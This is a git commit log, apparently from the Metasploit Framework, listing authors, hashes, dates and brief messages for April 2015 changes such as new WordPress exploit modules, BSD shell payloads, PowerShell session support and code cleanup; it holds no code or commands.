2015-04-24 12:06:04 +05:00
root
68effe0bc6
Take out irrelevant files
2015-04-24 12:04:02 +05:00
root
028f5e119d
sqlmap plugin update to fix connection errors
2015-04-24 12:00:50 +05:00
wchen-r7
6ccc4af4d8
Round 9 of documentation
2015-04-24 01:08:33 -05:00
benpturner
9e137c6403
ref
2015-04-23 23:28:33 +01:00
benpturner
468166408e
ref
2015-04-23 23:28:21 +01:00
benpturner
3711b2579c
new powershell session
2015-04-23 23:13:12 +01:00
benpturner
0f7442dec2
new powershell session
2015-04-23 23:12:58 +01:00
benpturner
b642ddb989
interact powershell session
2015-04-23 23:12:38 +01:00
benpturner
3665c84cab
accomodate session type
2015-04-23 23:12:19 +01:00
benpturner
57914b6924
new session type
2015-04-23 23:12:02 +01:00
wchen-r7
d292cc999a
Round 8 of documentation
2015-04-23 16:15:11 -05:00
benpturner
b6abd9dc8e
updates to rex
2015-04-23 22:14:11 +01:00
benpturner
a3710752c6
updates to rex
2015-04-23 22:14:00 +01:00
benpturner
5b604d07dd
updates
2015-04-23 22:13:46 +01:00
wchen-r7
86a7e36a06
Round 7 of documentation
2015-04-23 15:37:56 -05:00
wchen-r7
3c50feb3d6
Round 6 of documentation
2015-04-23 12:34:39 -05:00
wchen-r7
cbac6d1a0b
Round 5 of documentation
2015-04-23 11:54:58 -05:00
benpturner
3e693c95df
update bind_tcp settings
2015-04-23 14:43:08 +01:00
benpturner
94d99cd833
use Rex::Powershell::Command
2015-04-23 14:42:45 +01:00
OJ
1b11322618
Remove STDERR debug statement
2015-04-23 19:36:17 +10:00
benpturner
e7b84ea40e
rhost mandatory
2015-04-23 10:17:13 +01:00
benpturner
4ad3394e82
make rhost mandatory
2015-04-23 10:09:50 +01:00
root
624adbaaca
Consistent downcase comparison
2015-04-23 12:07:59 +05:00
root
19beafe009
scan_export_status patch for issue 5217
2015-04-23 12:04:02 +05:00
Roberto Soares
5bf4c9187a
Removed double "Calling payload..."
2015-04-23 03:41:34 -03:00
Roberto Soares
844f768eee
Add WordPress InBoundio Marketing File Upload
2015-04-23 03:32:17 -03:00
wchen-r7
f6bd747f57
Round 4 of documentation
2015-04-22 22:15:30 -05:00
OJ
9ecb3cc634
Fixed specs, though they did run fine locally!
2015-04-23 10:09:58 +10:00
OJ
19a6ae68ff
Update bind_tcp sizes to dynamic
...
This is required due to the fact that we can now turn on/off the
closing of the listen socket.
2015-04-23 09:53:18 +10:00
wchen-r7
6bac759a18
Round 3 of documentation
2015-04-22 17:01:31 -05:00
benpturner
4bbf3b722c
added payload types
2015-04-22 22:15:11 +01:00
benpturner
711061a49b
updates
2015-04-22 21:03:13 +01:00
benpturner
5a648ef79b
updates to script
2015-04-22 20:45:43 +01:00
Brandon Perry
e9f8b25987
Update wordpress_contus_video_gallery_sqli.rb
...
Update to use the Wordpress mixin
2015-04-22 14:43:55 -05:00
Brandon Perry
26d208f089
Update wordpress_contus_video_gallery_sqli.rb
...
remove 'uri'
2015-04-22 14:42:03 -05:00
benpturner
99156f1247
reverse payload
2015-04-22 20:41:45 +01:00
benpturner
4ae3c5925d
bind payload
2015-04-22 20:41:35 +01:00
benpturner
19aa668f99
updates to include reverse and bind
2015-04-22 20:41:19 +01:00
wchen-r7
39f206b31a
Round 2 of documentation
2015-04-22 12:10:28 -05:00
root
93dc809e74
Correct the quotes
2015-04-22 11:06:59 +05:00
root
40107577a0
Case insensitive plugin unload
2015-04-22 11:04:46 +05:00
wchen-r7
4add4074e1
First round of RPC API documentation
...
Resolve #5209
2015-04-22 01:02:05 -05:00
jvazquez-r7
b6df023c99
Land #4989 , @hmoore-r7's change to file: handling
...
Datastore options with file: are handled at set time
2015-04-21 23:21:22 -05:00
HD Moore
a07b68d06b
Merge pull request #13 from jvazquez-r7/conflicts_4989
...
Solve conflicts
2015-04-21 23:11:13 -05:00
Spencer McIntyre
76cdd28e4d
Land #5220 , @bcook-r7's fix for OSX forking pymet
...
Fixes 5013
2015-04-21 20:57:23 -04:00
Brent Cook
3963289519
Land #4888 , @h00die's brocade credential bruteforcer
2015-04-21 18:27:03 -05:00
Brent Cook
5140b8cf9c
fix crash on fork with OSX Python meterpreter using SystemConfiguration
...
Calling into SystemConfiguration before forking seems to allow the child
process to use it without a null pointer dereference.
2015-04-21 17:17:27 -05:00
Mike
3a1778ef7c
Spelling Fix
...
s/Brocde/Brocade/ as per bcook-r7
2015-04-21 17:57:36 -04:00
Trevor Rosen
8f5d222e53
Land #5156 - module ranking properly handles nil
2015-04-21 14:40:01 -05:00
jvazquez-r7
3db0e12b67
Modify autopwn comment
2015-04-21 14:19:15 -05:00
jvazquez-r7
3f40342ac5
Fix sock_sendpage
2015-04-21 14:17:19 -05:00
jvazquez-r7
46b678e9d2
Add msftidy check for datastore option DEBUG usage
2015-04-21 12:22:24 -05:00
jvazquez-r7
ab94f15a60
Take care of modules using the 'DEBUG' option
2015-04-21 12:13:40 -05:00
Spencer McIntyre
edbf9b766f
Land #5100 , @bcook-r7's deletekey API usage fix
...
Fixes #5099
2015-04-21 12:58:02 -04:00
jvazquez-r7
292087c849
Add check for modules registering a DEBUG option
2015-04-21 11:56:41 -05:00
jvazquez-r7
88ed8406d1
Add check for (v)print_debug to msftidy
2015-04-21 11:27:22 -05:00
jvazquez-r7
4224008709
Delete print_debug/vprint_debug
2015-04-21 11:14:03 -05:00
Brent Cook
073850c5ad
Land #5158 , OWA internal IP disclosure scanner
2015-04-21 11:10:39 -05:00
Brent Cook
5296c6507d
Land #5157 , OWA login scanner auth timing logs
2015-04-21 11:06:08 -05:00
rwhitcroft
70f94bbd96
break loop if socket is closed
2015-04-21 11:09:17 -04:00
wchen-r7
a44da8e6d7
URL refs
2015-04-21 09:29:08 -05:00
OJ
c8bab6ace1
Fix help for timeouts
2015-04-21 20:35:46 +10:00
OJ
f654fea9b3
Adjust transport command to work with posix
2015-04-21 20:16:57 +10:00
OJ
86957d9b07
Merge branch 'upstream/master' into connection-recovery
2015-04-21 20:01:59 +10:00
jvazquez-r7
66d23e3b5e
Delete file: validation on normalization again
2015-04-20 23:52:17 -05:00
jvazquez-r7
57df5c4f4f
Solve conflics
2015-04-20 23:38:34 -05:00
Brent Cook
8aca4539c9
Land #5152 , undefined var in WinRM_Login
2015-04-20 23:01:11 -05:00
Brent Cook
ab33fc8eba
Land #5211 , parse nmap's tunnel attribute
2015-04-20 22:53:34 -05:00
Brent Cook
ee07809fd8
Land #5190 , 64-bit meterpreter persistence script
2015-04-20 22:32:57 -05:00
Brent Cook
1d5a054cb0
Land #5166 , update redcarpet for XSS vuln
2015-04-20 22:09:16 -05:00
wchen-r7
a3b0f2e424
Land #5175 , Update mcafee_vse_hashdump description
2015-04-20 21:49:24 -05:00
Brent Cook
9a49538c1a
Land #5016 , add SSL Labs scanner
2015-04-20 21:34:16 -05:00
William Vu
74ad81c90c
Consolidate tunnel check into name check
2015-04-20 21:18:12 -05:00
Brent Cook
752c3243f6
wrap print* functions in report_* wrappers
...
Preserve the semantics in the code, but don't call functions like 'print_error'
unless there is an actual error running the module. Fix spelling of 'Overall'.
2015-04-20 21:13:43 -05:00
wchen-r7
ff32d6cee3
Improve MS15-034 DOS
2015-04-20 20:36:08 -05:00
HD Moore
ea5673e080
Merge pull request #12 from jvazquez-r7/review_4989
...
Keep old values when bad file plus specs
2015-04-20 19:27:21 -05:00
jvazquez-r7
c6c7560aed
Land #4846 , @joevennix's android 4.3 uxss module
2015-04-20 18:43:24 -05:00
jvazquez-r7
9b240e1d8f
Use parenthesis
2015-04-20 18:42:34 -05:00
jvazquez-r7
831e65261d
Add lengths specs
2015-04-20 17:37:41 -05:00
William Vu
741149058c
Report unknown service names for consistency
2015-04-20 17:22:19 -05:00
William Vu
d894502148
Update legacy Nmap XML parser
2015-04-20 17:15:35 -05:00
William Vu
1a66786d1b
Fix Nmap XML parser for tunnel attribute
2015-04-20 17:04:19 -05:00
jvazquez-r7
329e28c47c
Keep the old value if value can't be loaded from file
2015-04-20 16:29:11 -05:00
William Vu
c7129e063c
Land #5069 , breaking up with old options
2015-04-20 16:23:44 -05:00
jvazquez-r7
c629d8593a
Solve my own concerning about race conditions, just in case...
2015-04-20 16:19:29 -05:00
James Lee
d67f7a21d9
Move autoloads into OptionContainer
...
This seems like a better place for them to live
2015-04-20 15:54:42 -05:00
James Lee
d7fc9294f0
Add require
2015-04-20 15:54:41 -05:00
James Lee
da0e7282d5
Replace some unnecessary eval action.
...
Metaprogramming should be reserved for when you don't know things. Here
we're making methods from literal strings, so replace the
metaprogramming with much easier to understand regular programming. Also
has the benefit that yard can parse it.
2015-04-20 15:54:41 -05:00
James Lee
2a3ed890d2
Add specs for Msf::Opt
2015-04-20 15:54:40 -05:00
James Lee
b64d881914
Make OptionContainer docs a little more useful
2015-04-20 15:54:40 -05:00
James Lee
3a5af3939d
Split all the option classes into their own files
2015-04-20 15:54:40 -05:00
jvazquez-r7
1b85cd2853
Use single quotes
2015-04-20 15:53:58 -05:00
jvazquez-r7
a56dd5d1ff
Do minor style cleanup
2015-04-20 15:44:45 -05:00
William Vu
3fbd4e2fe6
Land #5172 , x64 BSD shell_{bind,reverse}_tcp
2015-04-20 15:37:29 -05:00
William Vu
79ca0a56f9
Land #4171 , Steam protocol support
2015-04-20 15:35:06 -05:00
jvazquez-r7
f762873a31
Land #5192 , @joevennix's module for Safari CVE-2015-1126
...
* Module to profit cross domain vulnerability on safari
2015-04-20 15:19:54 -05:00
jvazquez-r7
e2eaff6b3a
Don't modify datastore options
2015-04-20 15:16:21 -05:00
jvazquez-r7
88c52ae7ae
Delete second stop_service, the mixin should had done the job
2015-04-20 15:13:11 -05:00
jvazquez-r7
dc0549d2dd
Use #wait
2015-04-20 15:06:01 -05:00
jvazquez-r7
c1234e05e2
Delete parenthesis from condition
2015-04-20 14:56:37 -05:00
jvazquez-r7
0283ac05e5
Do minor style fixes
2015-04-20 14:54:39 -05:00
jvazquez-r7
69b8edda4a
Use single quotes
2015-04-20 14:53:38 -05:00
jvazquez-r7
16daa935dd
Do minor code cleanup
2015-04-20 13:08:51 -05:00
Brent Cook
aa4489dd21
Land #5196 , fix incorrect yardoc annotations
2015-04-20 11:50:43 -05:00
jvazquez-r7
4f59abe842
Land #5203 , @Meatballs1 fixes #5199 by using the correct namespace
...
* Fixes web_delivery
2015-04-20 11:20:48 -05:00
benpturner
d9d8451b9f
Updated tools/msftidy.rb issues
2015-04-20 16:03:34 +01:00
Meatballs
eb1c01417a
Bogus :
2015-04-20 11:00:26 +01:00
Meatballs
aa4f913800
Resolves #5199
...
Fix Powershell namespace in web_delivery module
2015-04-20 09:37:42 +01:00
Christian Mehlmauer
a60fe4af8e
Land #5201 , Change module wording to conform with other WP modules
2015-04-20 10:07:05 +02:00
aushack
1a32cf7fc0
Change module wording to conform with other WP modules.
2015-04-20 16:48:35 +10:00
benpturner
ead57849f2
Merge pull request #1 from Meatballs1/powershell_interactive_mods
...
Powershell interactive mods
2015-04-20 06:48:11 +01:00
Brandon Perry
b622aae97f
Update wordpress_contus_video_gallery_sqli.rb
2015-04-19 18:24:12 -05:00
Meatballs
ac1f03b1de
Use fail_with if unknown exception
2015-04-20 00:11:23 +01:00
Brandon Perry
c393f7c398
add contus video gallery scanner
2015-04-19 17:58:08 -05:00
Meatballs
1cc08a56a8
Additional tidyup
2015-04-19 23:55:55 +01:00
Meatballs
b0d50dc2be
Create our own Rex connection to the endpoint
...
Ensure powershell process closes when module completes
Add a windows cmd interact payload
2015-04-19 23:41:28 +01:00
Christian Mehlmauer
668961b69d
fix some yarddoc issues
2015-04-20 00:06:59 +02:00
Christian Mehlmauer
103b8297ba
Land #5183 , Improve developer experience for fail_with
2015-04-19 23:57:36 +02:00
Christian Mehlmauer
ed9175d73f
Land #5167 , WordPress CP Multi-View Calendar SQLI Scanner
2015-04-19 23:36:23 +02:00
Brandon Perry
8c0bcd2e03
Update wordpress_cp_calendar_sqli.rb
...
Use the new WPVDB
2015-04-19 16:32:57 -05:00
Christian Mehlmauer
a5583debdc
Land #5131 , WordPress Slideshow Upload
2015-04-19 23:12:26 +02:00
Meatballs
8bd0da580d
Move script out of module
2015-04-19 21:12:44 +01:00
Meatballs
9fd3d3aa8c
Move to exploit module
2015-04-19 20:58:20 +01:00
benpturner
1ee850246a
Interactive powershell post module that allows a user to gain an
...
interactive powershell prompt from a compromised session. It opens a TCP
listener for Powershell and automatically creates the handler. You can
also pass this other powershell files in the LOAD_MODULE option to go
ahead and download using the download cradle once the session is
established.
2015-04-19 20:51:41 +01:00
joev
2010e966b3
Add non-httponly cookie theft module for ios/osx safari.
2015-04-19 11:32:37 -05:00
OJ
e7babc4acb
Fix persistence script to support x64 payloads
2015-04-19 12:41:51 +10:00
Roberto Soares
c1a1143377
Remove line in description and output line in fail_with
2015-04-18 15:38:42 -03:00
Christian Mehlmauer
3417c3f5ab
Land #5181 , Revert unwanted URI encoding
2015-04-18 11:55:19 +02:00
OJ
19f8a76475
Porting bind_tcp for posix to metasm
...
And supporting SO_REUSEADDR and stageless meterp
2015-04-18 19:19:40 +10:00
wchen-r7
43e9244b4c
Fix #5134 , Put store_loot back
...
Fix #5134
store_loot was used at one point, but we ended up removing it.
Turns out store_loot is handy in some cases so we're brining it back.
2015-04-17 16:33:51 -05:00
wchen-r7
37613adebb
Improve developer experience for fail_with
...
The fail_with for an exploit is used differently than a non-exploit,
so it would be nice to document about this. Also, be strict about
the reason for the exploit one, because this can affect other
components of Metasploit.
2015-04-17 15:55:22 -05:00
wchen-r7
4f903a604c
Fix #5103 , Revert unwanted URI encoding
...
Fix #5103 . By default, Httpclient will encode the URI but
we don't necessarily want that. These modules originally
didn't use URI encoding when they were written so we should
just keep them that way.
2015-04-17 13:59:49 -05:00
Brent Cook
2a327b7c91
Land #5116 , better handle platform and arch in msfvenom
2015-04-17 10:55:41 -05:00
Brent Cook
e73d2cf6a7
Land #5179 , workaround crash with OS X system python
2015-04-17 10:44:05 -05:00
karllll
e3ce4eb88e
Update mcafee_vse_hashdump.rb
2015-04-17 09:47:02 -04:00
Meatballs
15eef6e8de
Dont fork on OSX
2015-04-17 11:43:07 +01:00
OJ
85ba60b6d3
Land #5138 : Cleanup http(s) sessions when all closed
2015-04-17 20:15:02 +10:00
OJ
97912882ca
Adjustments for POSIX meterpreter patching
2015-04-17 19:53:05 +10:00
Christian Mehlmauer
bba0927c7e
Land #5163 , WordPress Reflex Gallery Plugin File Upload
2015-04-17 11:26:34 +02:00
Christian Mehlmauer
6653c9e33d
Land #5162 , WordPress Dukapress File Read Vulnerability
2015-04-17 11:20:55 +02:00
Christian Mehlmauer
6c77b64dae
wrong method name
2015-04-17 11:20:14 +02:00
Christian Mehlmauer
aef464fc2e
Land #5159 , WordPress Mobile Edition Plugin File Read Vuln
2015-04-17 11:13:00 +02:00
Brent Cook
3107d99b9a
Use the same URI that was registered when we deregister
...
The original URI is registered as '/foobar/' but is deregistered as
'//foobar/', causing it to never get deregistered. Changing this fixes
unregistration of the service handler for staged payloads, but stageless
doesn't work properly if the URI actually gets deregistered.
2015-04-17 03:20:24 -05:00
Brent Cook
18225780da
cleanup HTTP and HTTPS listeners when sessions are closed
...
Rather than listening forever after a session shuts down, close the session if
there are no other URI's registered on the listener. This allows reconfiguring
the listener without restarting framework, but should be safe for situations
where multiple modules share the same listener.
2015-04-17 02:41:24 -05:00
OJ
eb7155d533
Remove debug print
2015-04-17 16:25:42 +10:00
OJ
0a8b29dd86
Merge branch 'upstream/master' into connection-recovery
...
Conflicts:
lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb
2015-04-17 14:40:21 +10:00
William Vu
3300845c99
Land #5171 , fail_with check for msftidy
2015-04-16 23:35:23 -05:00
Christian Mehlmauer
d494bdd5e3
Merge pull request #6 from wvu-r7/pr/5171
...
Consolidate on one check and fix false positives
2015-04-17 06:20:57 +02:00
Brent Cook
753978fc7a
Land #5141 , stageless unique URIs with the same UUID
2015-04-16 22:21:32 -05:00
Brent Cook
2ee28916f7
bump meterpreter_bins to 0.0.22
2015-04-16 22:21:12 -05:00
OJ
e0cd4a4d44
Merge branch 'upstream/master' into multi-session-stageless
2015-04-17 12:46:20 +10:00
wchen-r7
3927024f79
Land #5154 , CVE-2015-0556 (Flash copyPixelsToByteArray int overflow)
...
sage aborts
2015-04-16 21:21:09 -05:00
wchen-r7
f280e5191b
I forgot to move this require statement
2015-04-16 21:11:09 -05:00
wchen-r7
3493d25ff9
Move all this to Rex
2015-04-16 21:07:23 -05:00
William Vu
832487cad7
Consolidate on one check and fix false positives
2015-04-16 18:01:28 -05:00
William Vu
3422501d91
Land #5174 , deprecated module cleanup
2015-04-16 17:43:28 -05:00
William Vu
7a4494a81f
Land #5173 , moar fail_with fixes
2015-04-16 17:27:02 -05:00
Christian Mehlmauer
153344a1dd
fix Unkown typo
2015-04-16 23:59:28 +02:00
Christian Mehlmauer
2b9fd93729
remove deprecated modules
2015-04-16 22:49:22 +02:00
Brent Cook
9bf897a829
Land #4744 , refactor powershell for msfvenom psh-cmd
2015-04-16 15:44:57 -05:00
Roberto Soares
33cf2f1578
Added Faliure:: symbol to fail_with
2015-04-16 17:40:25 -03:00
Roberto Soares
ed588e335b
Changed the print_error output.
2015-04-16 17:32:59 -03:00
Roberto Soares
bf3bdcffb4
Changed the deph value to 7.
2015-04-16 17:30:28 -03:00
Roberto Soares
dd474757fe
Changed the print_error output.
2015-04-16 17:26:44 -03:00
Roberto Soares
f50cedeafd
Changed the depth value to 7.
2015-04-16 17:22:49 -03:00
Roberto Soares
2138325129
Add Failure:: symbol to fail_with
2015-04-16 17:15:24 -03:00
karllll
cb2e8f4949
Update mcafee_vse_hashdump description
...
The description of this module has been added upon to include cracking details.
2015-04-16 16:09:43 -04:00
rwhitcroft
602e9c8df1
Update client.rb
2015-04-16 16:06:16 -04:00
Christian Mehlmauer
352e170624
more failure reasons
2015-04-16 22:04:11 +02:00
Christian Mehlmauer
8c5890d506
more fixes
2015-04-16 21:56:42 +02:00
Christian Mehlmauer
40f6b086c2
fix regex
2015-04-16 21:51:31 +02:00
Christian Mehlmauer
8c12361bda
remove fail_with defs
2015-04-16 21:49:31 +02:00
Christian Mehlmauer
0815791fee
fix regex
2015-04-16 21:48:16 +02:00
Christian Mehlmauer
ba6548db75
be consistent about naming
2015-04-16 21:44:56 +02:00
Christian Mehlmauer
af277195f5
check for valid values
2015-04-16 21:43:47 +02:00
Christian Mehlmauer
69d3c26746
fix documentation
2015-04-16 21:28:16 +02:00
Christian Mehlmauer
b4b8ac0849
moar fail_with's
2015-04-16 21:26:37 +02:00
Christian Mehlmauer
a193ae42b0
moar fail_with's
2015-04-16 21:25:05 +02:00
Christian Mehlmauer
4dc402fd3c
moar fail_with's
2015-04-16 21:16:52 +02:00
Christian Mehlmauer
0e186fa617
first fail_with fixes
2015-04-16 21:08:33 +02:00
joev
46d53a216f
Alphabetize the specs.
2015-04-16 13:28:40 -05:00
joev
fa506ef046
Add bsd payloads to payloads_spec.
2015-04-16 13:28:00 -05:00
Christian Mehlmauer
4469fcd9e8
add fail_with error
2015-04-16 20:04:08 +02:00
William Vu
f0d6735332
Land #5165 , version number correction
2015-04-16 12:10:12 -05:00
William Vu
326be0c14e
Land #5164 , improved WordPress readme detection
2015-04-16 12:09:38 -05:00
William Vu
26f2b350d2
Land #5168 , more fail_with fixes
2015-04-16 12:04:55 -05:00
William Vu
1455d4e94d
Fix AUTH_TIME
2015-04-16 11:39:33 -05:00
William Vu
7c572777e1
Fix whitespace
2015-04-16 11:34:50 -05:00
William Vu
7a9167b235
Fix comments
2015-04-16 11:34:47 -05:00
Nate Power
9bcc988266
Update owa_login
2015-04-16 11:23:04 -05:00
William Vu
7886ac63ca
Land #5170 , fail_with argument fix
2015-04-16 10:45:55 -05:00
sinn3r
904339f0d7
Fix #5130 , Correct use of fail_with in wp_worktheflow_upload.rb
2015-04-16 10:32:50 -05:00
sinn3r
5c98270f4d
Fix #5137 - Correct use of fail_with
2015-04-16 09:57:02 -05:00
Brandon Perry
75b88f199a
Create wordpress_cp_calendar_sqli.rb
2015-04-16 09:53:00 -05:00
rwhitcroft
6ef86b69a7
Fix loop spinning in HttpClient
2015-04-16 10:49:47 -04:00
Christian Mehlmauer
418d8586a5
Land #5137 (again), WordPress N-Media Website File Upload
2015-04-16 16:24:41 +02:00
Christian Mehlmauer
7f79acb996
Land #5137 , WordPress N-Media Website File Upload
2015-04-16 16:17:20 +02:00
Roberto Soares
517ad54617
Fix the correct version in check.
2015-04-16 10:56:43 -03:00
Roberto Soares
95310dbe4f
Fix 'if' condition.
2015-04-16 10:51:36 -03:00
Roberto Soares
626a9f0508
Fix the correct version in check.
2015-04-16 10:46:08 -03:00
Roberto Soares
ecc67b1a57
Fix loot name
2015-04-16 10:42:20 -03:00
Roberto Soares
d898af5513
Add check version and removed HttpClient
2015-04-16 10:40:35 -03:00
Roberto Soares
6ef074cd28
Fix the correct version in check
2015-04-16 10:34:34 -03:00
Luke Imhoff
4629b1551c
Update to redcarpet 3.2.3
...
MSP-12565
Version 3.2.3 fixes a XSS via parse_line (OSVDB-120415).
2015-04-16 08:28:31 -05:00
Roberto Soares
768294710b
Add check and removed HttpClient
2015-04-16 10:22:10 -03:00
Christian Mehlmauer
d9f4c7548f
Land #5136 , WordPress Creative Contact Form upload
2015-04-16 15:17:14 +02:00
Christian Mehlmauer
84c74b8d42
use correct version number
2015-04-16 15:01:54 +02:00
Christian Mehlmauer
dc8f266345
fix readme detection bug
2015-04-16 14:57:29 +02:00
Roberto Soares
ee8dc49a25
Fix wrong version in check.
2015-04-16 09:45:18 -03:00
Christian Mehlmauer
9df09a1d60
readme detection
2015-04-16 14:41:30 +02:00
Roberto Soares
e16cc6fa82
Fix the correct version in check.
2015-04-16 09:38:42 -03:00
Roberto Soares
890561bff3
Rewriting the condition 'if' for only one line
2015-04-16 09:23:56 -03:00
Roberto Soares
b90ff36ef4
Rewriting the condition 'if' for only one line
2015-04-16 09:15:17 -03:00
Christian Mehlmauer
7dde7f6f7c
Land #5130 , WordPress WorkTheFlow Upload
2015-04-16 14:06:37 +02:00
Roberto Soares
dc7f161339
Add author, EDB, OSVDB and WPVDB.
2015-04-16 08:56:33 -03:00
Roberto Soares
1112a3b0ae
Add WordPress Reflex Gallery Plugin File Upload
2015-04-16 08:40:51 -03:00
Roberto Soares
21e964e699
Add Author and references..
2015-04-16 07:20:48 -03:00
Roberto Soares
f6f4bd0746
Add WordPress Dukapress File Read Vulnerability
2015-04-16 07:17:46 -03:00
Roberto Soares
4aa4f83372
Removed timeout 2.
2015-04-16 05:37:11 -03:00
Roberto Soares
39556c10c7
Rewrote check method.
2015-04-16 05:36:20 -03:00
Roberto Soares
ace316a54f
Added WPVDB and EDB references.
2015-04-16 05:29:21 -03:00
Roberto Soares
10c218319a
Rewrote response condition.
2015-04-16 05:26:48 -03:00
Roberto Soares
5cb9b1a44c
Removed timeout 2.
2015-04-16 05:21:59 -03:00
Roberto Soares
0e1b173d15
Renamed USER/PASSWORD to WP_USER/WP_PASSWORD.
2015-04-16 05:11:56 -03:00
Roberto Soares
13ded8abe7
Added WPVDB.
2015-04-16 05:08:45 -03:00
Roberto Soares
64923ffdc2
Fixed plugin name in check method
2015-04-16 05:06:36 -03:00
Roberto Soares
c8e1185a04
Included Wordpress mixin.
2015-04-16 05:02:39 -03:00
Roberto Soares
e9212c4d6b
wordpress_url_admin_ajax intead of wordpress_url_backend
2015-04-16 04:53:05 -03:00
Roberto Soares
81d898fd7e
Rewrote check code.
2015-04-16 04:51:40 -03:00
Roberto Soares
aeb0484889
Removed timeout 2.
2015-04-16 04:48:00 -03:00
Roberto Soares
e6e9c173e3
Rewrote res conditions.
2015-04-16 04:43:34 -03:00
Roberto Soares
d11db4edc7
Rewrote check code.
2015-04-16 04:37:30 -03:00
Roberto Soares
f13d31c7c2
Added WPVDB.
2015-04-16 04:31:23 -03:00
William Vu
97f1efbb59
Fix #4722 , extraneous addition removed
2015-04-16 02:30:24 -05:00
William Vu
2bdcc178ef
Remove extraneous addition
2015-04-16 02:30:09 -05:00
Roberto Soares
cccda4e851
Removed unnecessary line.
2015-04-16 04:27:15 -03:00
William Vu
42ff0decc7
Land #4722 , timing options for snmp_login
2015-04-16 02:25:29 -05:00
William Vu
88062a578d
Clean up PR
2015-04-16 02:25:06 -05:00
Roberto Soares
d3a6de761d
Removed timeout 2.
2015-04-16 04:09:02 -03:00
William Vu
01625e3bba
Land #5148 , DRY BSD/OS X shellcode
...
Also fix a semi-regression in the Rootpipe exploit.
2015-04-16 02:08:18 -05:00
William Vu
13da15e434
Add default PAYLOAD again
...
PrependSetreuid doesn't work with generic/shell_reverse_tcp.
2015-04-16 02:07:02 -05:00
Roberto Soares
1249f29ee8
Add JSON::ParserError exception handler.
2015-04-16 04:03:54 -03:00
William Vu
bec6270f07
Fix regex
2015-04-15 23:47:03 -05:00
William Vu
86c5e96d19
Land #5146 , enum_system cleanup
2015-04-15 22:02:32 -05:00
William Vu
001253a8da
Clean up module some more
2015-04-15 22:02:04 -05:00
William Vu
0a4ab99aa5
Land #5149 , couchdb_enum cleanup
2015-04-15 21:50:30 -05:00
William Vu
4410f8da6e
Clean up module some more
2015-04-15 21:48:19 -05:00
Brent Cook
30d60975ba
Land #5144 , add missing report_note in apache_range_dos
2015-04-15 21:47:18 -05:00
Brent Cook
beec0ba86a
Land #5161 , fix ms12_020_check not storing vulns in the db
2015-04-15 21:46:50 -05:00
William Vu
01ae7002cf
Fix EOF whitespace
2015-04-15 21:27:53 -05:00
William Vu
20d4d1ce3f
Move report_goods before the return
2015-04-15 21:22:41 -05:00
joev
9b6aea12e1
Oops, missed a comma.
2015-04-15 19:26:53 -05:00
Roberto Soares
0031f09d60
Add author, EDB, WPVDB and fix loot.
2015-04-15 20:03:36 -03:00
jvazquez-r7
c1753672bf
Delete file_contents initialization
2015-04-15 17:58:32 -05:00
Roberto Soares
0f1cf1d1b1
Add Module WP Mobile Edition Plugin File Read Vuln
2015-04-15 19:45:08 -03:00
William Vu
66b7179a97
Rename module to owa_iis_internal_ip
2015-04-15 17:10:01 -05:00
William Vu
a109dae033
Fix EOL whitespace
2015-04-15 16:58:59 -05:00
William Vu
cc422eeeea
Fix splat
2015-04-15 16:58:18 -05:00
Nate Power
34ce4edacb
Add exchange_iis_internal_ip
2015-04-15 16:55:19 -05:00
Luke Imhoff
9aa0159342
Green rank_modules ranks unloadable as Manual
...
MSP-12557
Was calling `.class` blindly on the output of `create`, but `nil` has a
class, `NilClass`, so it didn't call `module_rank` as expected and
assigned NormaLRanking to `nil` instead of ManualRanking.
2015-04-15 16:10:51 -05:00
Luke Imhoff
16234feeed
Red rank_modules ranks unloadable as Manual
...
MSP-12557
2015-04-15 16:09:19 -05:00
Luke Imhoff
87d1770bac
Green rank_modules with loaded without Rank is NormalRanking
...
MSP-12557
2015-04-15 15:51:42 -05:00
Luke Imhoff
bae581046b
Green module_ranks with loaded with Rank
...
MSP-12557
2015-04-15 15:49:19 -05:00
Luke Imhoff
65a40a994b
Green rank_modules use NormalRanking without Rank in loaded modules
...
MSP-12557
2015-04-15 15:45:21 -05:00
Luke Imhoff
d57cf8f09f
Green rank_modules with Rank
...
MSP-12557
Test that modules that need to be loaded are ranked using Rank after
loading.
2015-04-15 15:41:16 -05:00
Brent Cook
3d851d8be7
Land #5155 , spelling fix
2015-04-15 15:36:23 -05:00
sinn3r
7cc80c418b
Correct a bad spelling in ms15_034_ulonglongadd.rb
2015-04-15 15:32:55 -05:00
joev
4a18714191
Update authors and license to original osx x86 module.
2015-04-15 14:34:26 -05:00
joev
a01d98d1f5
Implement shell_bind and shell_reverse payloads for bsd x64.
2015-04-15 14:33:27 -05:00
jvazquez-r7
3ca7d6aae5
Land #5150 , @wchen-r7's DOS module for CVE-2015-1635 HTTP.sys
...
* `check` to test, `run` to DoS
2015-04-15 14:29:18 -05:00
jvazquez-r7
28fac60c81
Add module for CVE-2015-0556
2015-04-15 14:08:16 -05:00
sinn3r
76d36a46dc
Missing a checkcode
2015-04-15 14:04:18 -05:00
William Vu
3633be127a
Land #5153 , gem/autoload updates
2015-04-15 13:37:15 -05:00
sinn3r
8a542b841c
Don't check Server header
2015-04-15 13:33:09 -05:00
sinn3r
90ed6ee0b6
No "vhost"
2015-04-15 13:32:11 -05:00
sinn3r
3aa8e6908d
Converted to a DOS module
2015-04-15 13:13:16 -05:00
Matt Buck
1e7a6bf3e9
Update metasploit gem dependencies to released versions
2015-04-15 13:06:33 -05:00
Matt Buck
491835d578
Land #5114 , missing metasploit/credential require
2015-04-15 12:52:41 -05:00
Luke Imhoff
4de35e8832
Green Msf::ModuleSet#rank_modules with create -> nil
...
MSP-12557
Extract Msf::ModuleSet#module_rank to handle getting the module rank if
the Metasploit Module is already loaded, needs to be loaded, or can't be
loaded. If a Metasploit Module can't be loaded it is ranked as
Msf::ManualRanking. If is loaded or can be loaded and it doesn't define
Rank, it gets the Msf::NormalRanking as before. Finally, if it is
loaded or can be loaded and defines Rank, that is used as before.
2015-04-15 12:35:01 -05:00
Luke Imhoff
7a14618481
Red Msf::ModuleSet#rank_modules with create -> nil
...
MSP-12557
Msf::ModuleSet#rank_modules does not handle Msf::ModuleSet#create
returning `nil`.
2015-04-15 11:59:34 -05:00
sinn3r
19ab71aa43
Final update i swear
2015-04-15 10:20:15 -05:00
sinn3r
7a77dbc9f0
Update description
2015-04-15 10:15:40 -05:00
Meatballs
926db59a8c
credential doesn't exist in this context
2015-04-15 15:48:21 +01:00
jvazquez-r7
ef6bf54e2f
Fix metadata
2015-04-15 09:22:59 -05:00
jvazquez-r7
1da6b32df7
Land #4924 , @m-1-k-3's DLink CVE-2015-1187 exploit
...
